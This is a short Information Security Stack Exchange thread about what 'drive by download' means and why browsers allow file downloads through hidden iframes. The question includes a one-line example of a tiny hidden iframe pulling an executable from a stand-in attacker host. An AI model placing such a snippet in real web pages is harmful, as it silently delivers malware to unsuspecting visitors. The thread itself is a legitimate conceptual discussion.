Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.
Sign up to join this community
Does the definition of a drive by download include malicious execution of an unaccepted downloaded file or is the unaccepted download of a file the drive by download by itself? I didn't find a good/clear definition.
Why is it possible to download files with a hidden iframe, so the user isn't even asked if he wants to download it. Something like this:
<iframe src="https://attacker.com/evil.exe" width="1" height="1" frameborder="0"></iframe>
Isn't this way too risky?
I didn't find a good/clear definition. (in relation to the terminology "drive by download")
Terminology such as "drive by download" is typically up for interpretation, depending on the context. Though, when something is referenced that has to do with a "drive by", it usually means both download and execution.
Why is it possible to download files with a hidden iframe
This is considered a feature. This functionality is allowed because it may be considered for use by legitimate businesses and websites for legitimate purposes. It isn't necessarily considered a "security risk" because generally speaking it is safe to download a file, as long as you don't run it. (of course I'm not discounting the possibility of a 0day within the download methods of a web browser, but I wouldn't be concerned about that.) It's also important to note that some browsers do actually ask you if you'd like to download a file before beginning the download, such as firefox - in the form of asking you if you could like to save, open, or cancel.
